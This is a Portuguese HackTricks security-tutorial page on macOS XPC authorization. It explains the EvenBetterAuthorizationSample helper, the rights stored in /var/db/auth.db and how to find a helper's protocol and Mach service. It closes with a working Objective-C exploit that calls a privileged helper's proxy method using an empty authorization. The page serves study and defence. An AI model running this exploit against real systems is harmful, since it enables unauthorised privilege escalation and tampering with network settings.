mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
447 lines
24 KiB
Markdown
447 lines
24 KiB
Markdown
|
# macOS XPC Authorization
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## XPC Authorization
|
||
|
|
||
|
A Apple também propõe outra maneira de autenticar se o processo de conexão tem **permissões para chamar um método XPC exposto**.
|
||
|
|
||
|
Quando um aplicativo precisa **executar ações como um usuário privilegiado**, em vez de executar o aplicativo como um usuário privilegiado, geralmente instala como root um HelperTool como um serviço XPC que pode ser chamado pelo aplicativo para realizar essas ações. No entanto, o aplicativo que chama o serviço deve ter autorização suficiente.
|
||
|
|
||
|
### ShouldAcceptNewConnection sempre YES
|
||
|
|
||
|
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m` ele tenta **conectar** ao **HelperTool**. E em `HelperTool/HelperTool.m` a função **`shouldAcceptNewConnection`** **não verificará** nenhum dos requisitos indicados anteriormente. Ela sempre retornará YES:
|
||
|
```objectivec
|
||
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||
|
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||
|
// with our protocol and ourselves as the main object.
|
||
|
{
|
||
|
assert(listener == self.listener);
|
||
|
#pragma unused(listener)
|
||
|
assert(newConnection != nil);
|
||
|
|
||
|
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||
|
newConnection.exportedObject = self;
|
||
|
[newConnection resume];
|
||
|
|
||
|
return YES;
|
||
|
}
|
||
|
```
|
||
|
Para mais informações sobre como configurar corretamente esta verificação:
|
||
|
|
||
|
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||
|
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Direitos da aplicação
|
||
|
|
||
|
No entanto, há alguma **autorização ocorrendo quando um método do HelperTool é chamado**.
|
||
|
|
||
|
A função **`applicationDidFinishLaunching`** de `App/AppDelegate.m` criará uma referência de autorização vazia após o aplicativo ter iniciado. Isso deve sempre funcionar.\
|
||
|
Em seguida, tentará **adicionar alguns direitos** a essa referência de autorização chamando `setupAuthorizationRights`:
|
||
|
```objectivec
|
||
|
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||
|
{
|
||
|
[...]
|
||
|
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
|
||
|
if (err == errAuthorizationSuccess) {
|
||
|
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
|
||
|
}
|
||
|
if (err == errAuthorizationSuccess) {
|
||
|
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
|
||
|
}
|
||
|
assert(err == errAuthorizationSuccess);
|
||
|
|
||
|
// If we successfully connected to Authorization Services, add definitions for our default
|
||
|
// rights (unless they're already in the database).
|
||
|
|
||
|
if (self->_authRef) {
|
||
|
[Common setupAuthorizationRights:self->_authRef];
|
||
|
}
|
||
|
|
||
|
[self.window makeKeyAndOrderFront:self];
|
||
|
}
|
||
|
```
|
||
|
A função `setupAuthorizationRights` do arquivo `Common/Common.m` armazenará no banco de dados de autenticação `/var/db/auth.db` os direitos da aplicação. Note que ela só adicionará os direitos que ainda não estão no banco de dados:
|
||
|
```objectivec
|
||
|
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||
|
// See comment in header.
|
||
|
{
|
||
|
assert(authRef != NULL);
|
||
|
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
|
||
|
OSStatus blockErr;
|
||
|
|
||
|
// First get the right. If we get back errAuthorizationDenied that means there's
|
||
|
// no current definition, so we add our default one.
|
||
|
|
||
|
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
|
||
|
if (blockErr == errAuthorizationDenied) {
|
||
|
blockErr = AuthorizationRightSet(
|
||
|
authRef, // authRef
|
||
|
[authRightName UTF8String], // rightName
|
||
|
(__bridge CFTypeRef) authRightDefault, // rightDefinition
|
||
|
(__bridge CFStringRef) authRightDesc, // descriptionKey
|
||
|
NULL, // bundle (NULL implies main bundle)
|
||
|
CFSTR("Common") // localeTableName
|
||
|
);
|
||
|
assert(blockErr == errAuthorizationSuccess);
|
||
|
} else {
|
||
|
// A right already exists (err == noErr) or any other error occurs, we
|
||
|
// assume that it has been set up in advance by the system administrator or
|
||
|
// this is the second time we've run. Either way, there's nothing more for
|
||
|
// us to do.
|
||
|
}
|
||
|
}];
|
||
|
}
|
||
|
```
|
||
|
A função `enumerateRightsUsingBlock` é a que é usada para obter as permissões das aplicações, que são definidas em `commandInfo`:
|
||
|
```objectivec
|
||
|
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||
|
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||
|
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
|
||
|
|
||
|
+ (NSDictionary *)commandInfo
|
||
|
{
|
||
|
static dispatch_once_t sOnceToken;
|
||
|
static NSDictionary * sCommandInfo;
|
||
|
|
||
|
dispatch_once(&sOnceToken, ^{
|
||
|
sCommandInfo = @{
|
||
|
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
|
||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
|
||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||
|
@"EBAS is trying to read its license key.",
|
||
|
@"prompt shown when user is required to authorize to read the license key"
|
||
|
)
|
||
|
},
|
||
|
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
|
||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
|
||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
|
||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||
|
@"EBAS is trying to write its license key.",
|
||
|
@"prompt shown when user is required to authorize to write the license key"
|
||
|
)
|
||
|
},
|
||
|
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
|
||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
|
||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||
|
@"EBAS is trying to start its web service.",
|
||
|
@"prompt shown when user is required to authorize to start the web service"
|
||
|
)
|
||
|
}
|
||
|
};
|
||
|
});
|
||
|
return sCommandInfo;
|
||
|
}
|
||
|
|
||
|
+ (NSString *)authorizationRightForCommand:(SEL)command
|
||
|
// See comment in header.
|
||
|
{
|
||
|
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
|
||
|
}
|
||
|
|
||
|
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
|
||
|
// Calls the supplied block with information about each known authorization right..
|
||
|
{
|
||
|
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
|
||
|
#pragma unused(key)
|
||
|
#pragma unused(stop)
|
||
|
NSDictionary * commandDict;
|
||
|
NSString * authRightName;
|
||
|
id authRightDefault;
|
||
|
NSString * authRightDesc;
|
||
|
|
||
|
// If any of the following asserts fire it's likely that you've got a bug
|
||
|
// in sCommandInfo.
|
||
|
|
||
|
commandDict = (NSDictionary *) obj;
|
||
|
assert([commandDict isKindOfClass:[NSDictionary class]]);
|
||
|
|
||
|
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
|
||
|
assert([authRightName isKindOfClass:[NSString class]]);
|
||
|
|
||
|
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
|
||
|
assert(authRightDefault != nil);
|
||
|
|
||
|
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
|
||
|
assert([authRightDesc isKindOfClass:[NSString class]]);
|
||
|
|
||
|
block(authRightName, authRightDefault, authRightDesc);
|
||
|
}];
|
||
|
}
|
||
|
```
|
||
|
Isso significa que, ao final deste processo, as permissões declaradas dentro de `commandInfo` serão armazenadas em `/var/db/auth.db`. Note como lá você pode encontrar para **cada método** que irá **exigir autenticação**, **nome da permissão** e o **`kCommandKeyAuthRightDefault`**. Este último **indica quem pode obter esse direito**.
|
||
|
|
||
|
Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles estão definidos em [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (você pode encontrar [todos eles aqui](https://www.dssw.co.uk/reference/authorization-rights/)), mas como resumo:
|
||
|
|
||
|
<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valor</th><th>Descrição</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Qualquer um</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Ninguém</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>O usuário atual precisa ser um admin (dentro do grupo de admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir ao usuário para autenticar.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir ao usuário para autenticar. Ele precisa ser um admin (dentro do grupo de admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar regras</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar alguns comentários extras sobre o direito</td></tr></tbody></table>
|
||
|
|
||
|
### Verificação de Direitos
|
||
|
|
||
|
Em `HelperTool/HelperTool.m`, a função **`readLicenseKeyAuthorization`** verifica se o chamador está autorizado a **executar tal método** chamando a função **`checkAuthorization`**. Esta função verificará se o **authData** enviado pelo processo chamador tem um **formato correto** e então verificará **o que é necessário para obter o direito** de chamar o método específico. Se tudo correr bem, o **`error` retornado será `nil`**:
|
||
|
```objectivec
|
||
|
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||
|
{
|
||
|
[...]
|
||
|
|
||
|
// First check that authData looks reasonable.
|
||
|
|
||
|
error = nil;
|
||
|
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
|
||
|
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
|
||
|
}
|
||
|
|
||
|
// Create an authorization ref from that the external form data contained within.
|
||
|
|
||
|
if (error == nil) {
|
||
|
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
|
||
|
|
||
|
// Authorize the right associated with the command.
|
||
|
|
||
|
if (err == errAuthorizationSuccess) {
|
||
|
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
|
||
|
AuthorizationRights rights = { 1, &oneRight };
|
||
|
|
||
|
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
|
||
|
assert(oneRight.name != NULL);
|
||
|
|
||
|
err = AuthorizationCopyRights(
|
||
|
authRef,
|
||
|
&rights,
|
||
|
NULL,
|
||
|
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
|
||
|
NULL
|
||
|
);
|
||
|
}
|
||
|
if (err != errAuthorizationSuccess) {
|
||
|
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if (authRef != NULL) {
|
||
|
junk = AuthorizationFree(authRef, 0);
|
||
|
assert(junk == errAuthorizationSuccess);
|
||
|
}
|
||
|
|
||
|
return error;
|
||
|
}
|
||
|
```
|
||
|
Note que para **verificar os requisitos para obter o direito** de chamar esse método, a função `authorizationRightForCommand` apenas verificará o objeto comentado anteriormente **`commandInfo`**. Em seguida, chamará **`AuthorizationCopyRights`** para verificar **se possui os direitos** de chamar a função (note que as flags permitem interação com o usuário).
|
||
|
|
||
|
Neste caso, para chamar a função `readLicenseKeyAuthorization`, o `kCommandKeyAuthRightDefault` é definido como `@kAuthorizationRuleClassAllow`. Assim, **qualquer um pode chamá-la**.
|
||
|
|
||
|
### Informações do DB
|
||
|
|
||
|
Foi mencionado que essas informações são armazenadas em `/var/db/auth.db`. Você pode listar todas as regras armazenadas com:
|
||
|
```sql
|
||
|
sudo sqlite3 /var/db/auth.db
|
||
|
SELECT name FROM rules;
|
||
|
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||
|
```
|
||
|
Então, você pode ler quem pode acessar o direito com:
|
||
|
```bash
|
||
|
security authorizationdb read com.apple.safaridriver.allow
|
||
|
```
|
||
|
### Direitos permissivos
|
||
|
|
||
|
Você pode encontrar **todas as configurações de permissões** [**aqui**](https://www.dssw.co.uk/reference/authorization-rights/), mas as combinações que não exigirão interação do usuário seriam:
|
||
|
|
||
|
1. **'authenticate-user': 'false'**
|
||
|
* Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
|
||
|
* Isso é usado em **combinação com uma das 2 abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
|
||
|
2. **'allow-root': 'true'**
|
||
|
* Se um usuário estiver operando como o usuário root (que possui permissões elevadas), e esta chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||
|
3. **'session-owner': 'true'**
|
||
|
* Se definida como `true`, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente esse direito. Isso pode contornar a autenticação adicional se o usuário já estiver logado.
|
||
|
4. **'shared': 'true'**
|
||
|
* Esta chave não concede direitos sem autenticação. Em vez disso, se definida como `true`, significa que uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise re-autenticar. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como `'authenticate-user': 'false'`.
|
||
|
|
||
|
Você pode [**usar este script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) para obter os direitos interessantes:
|
||
|
```bash
|
||
|
Rights with 'authenticate-user': 'false':
|
||
|
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||
|
|
||
|
Rights with 'allow-root': 'true':
|
||
|
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
|
||
|
|
||
|
Rights with 'session-owner': 'true':
|
||
|
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||
|
```
|
||
|
## Reversão de Autorização
|
||
|
|
||
|
### Verificando se EvenBetterAuthorization está em uso
|
||
|
|
||
|
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`** é provável que o processo esteja usando o esquema de autorização mencionado anteriormente:
|
||
|
|
||
|
<figure><img src="../../../../../.gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Isso, se essa função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||
|
|
||
|
Verifique o **`/var/db/auth.db`** para ver se é possível obter permissões para chamar alguma ação privilegiada sem interação do usuário.
|
||
|
|
||
|
### Comunicação de Protocolo
|
||
|
|
||
|
Em seguida, você precisa encontrar o esquema de protocolo para poder estabelecer uma comunicação com o serviço XPC.
|
||
|
|
||
|
A função **`shouldAcceptNewConnection`** indica o protocolo que está sendo exportado:
|
||
|
|
||
|
<figure><img src="../../../../../.gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, [**verifique esta linha**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||
|
|
||
|
Sabendo o nome do protocolo utilizado, é possível **extrair sua definição de cabeçalho** com:
|
||
|
```bash
|
||
|
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||
|
|
||
|
[...]
|
||
|
@protocol HelperToolProtocol
|
||
|
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
|
||
|
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
|
||
|
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
|
||
|
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
|
||
|
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
|
||
|
@end
|
||
|
[...]
|
||
|
```
|
||
|
Por fim, precisamos apenas saber o **nome do Serviço Mach exposto** para estabelecer uma comunicação com ele. Existem várias maneiras de encontrar isso:
|
||
|
|
||
|
* No **`[HelperTool init]`** onde você pode ver o Serviço Mach sendo usado:
|
||
|
|
||
|
<figure><img src="../../../../../.gitbook/assets/image (41).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
* No plist do launchd:
|
||
|
```xml
|
||
|
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||
|
|
||
|
[...]
|
||
|
|
||
|
<key>MachServices</key>
|
||
|
<dict>
|
||
|
<key>com.example.HelperTool</key>
|
||
|
<true/>
|
||
|
</dict>
|
||
|
[...]
|
||
|
```
|
||
|
### Exemplo de Exploit
|
||
|
|
||
|
Neste exemplo é criado:
|
||
|
|
||
|
* A definição do protocolo com as funções
|
||
|
* Um auth vazio para usar para solicitar acesso
|
||
|
* Uma conexão ao serviço XPC
|
||
|
* Uma chamada à função se a conexão for bem-sucedida
|
||
|
```objectivec
|
||
|
// gcc -framework Foundation -framework Security expl.m -o expl
|
||
|
|
||
|
#import <Foundation/Foundation.h>
|
||
|
#import <Security/Security.h>
|
||
|
|
||
|
// Define a unique service name for the XPC helper
|
||
|
static NSString* XPCServiceName = @"com.example.XPCHelper";
|
||
|
|
||
|
// Define the protocol for the helper tool
|
||
|
@protocol XPCHelperProtocol
|
||
|
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
|
||
|
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
|
||
|
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
|
||
|
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
|
||
|
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
|
||
|
@end
|
||
|
|
||
|
int main(void) {
|
||
|
NSData *authData;
|
||
|
OSStatus status;
|
||
|
AuthorizationExternalForm authForm;
|
||
|
AuthorizationRef authReference = {0};
|
||
|
NSString *proxyAddress = @"127.0.0.1";
|
||
|
NSString *proxyPort = @"4444";
|
||
|
Boolean isProxyEnabled = true;
|
||
|
|
||
|
// Create an empty authorization reference
|
||
|
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
|
||
|
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||
|
|
||
|
// Convert the authorization reference to an external form
|
||
|
if (status == errAuthorizationSuccess) {
|
||
|
status = AuthorizationMakeExternalForm(authReference, &authForm);
|
||
|
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||
|
}
|
||
|
|
||
|
// Convert the external form to NSData for transmission
|
||
|
if (status == errAuthorizationSuccess) {
|
||
|
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
|
||
|
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||
|
}
|
||
|
|
||
|
// Ensure the authorization was successful
|
||
|
assert(status == errAuthorizationSuccess);
|
||
|
|
||
|
// Establish an XPC connection
|
||
|
NSString *serviceName = XPCServiceName;
|
||
|
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
|
||
|
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
|
||
|
[xpcConnection setRemoteObjectInterface:xpcInterface];
|
||
|
[xpcConnection resume];
|
||
|
|
||
|
// Handle errors for the XPC connection
|
||
|
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
|
||
|
NSLog(@"[-] Connection error");
|
||
|
NSLog(@"[-] Error: %@", error);
|
||
|
}];
|
||
|
|
||
|
// Log the remote proxy and connection objects
|
||
|
NSLog(@"Remote Proxy: %@", remoteProxy);
|
||
|
NSLog(@"XPC Connection: %@", xpcConnection);
|
||
|
|
||
|
// Use the legacy method to configure the proxy
|
||
|
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
|
||
|
NSLog(@"Response: %@", error);
|
||
|
}];
|
||
|
|
||
|
// Allow some time for the operation to complete
|
||
|
[NSThread sleepForTimeInterval:10.0f];
|
||
|
|
||
|
NSLog(@"Finished!");
|
||
|
}
|
||
|
```
|
||
|
## Outros auxiliares de privilégio XPC abusados
|
||
|
|
||
|
* [https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared](https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared)
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|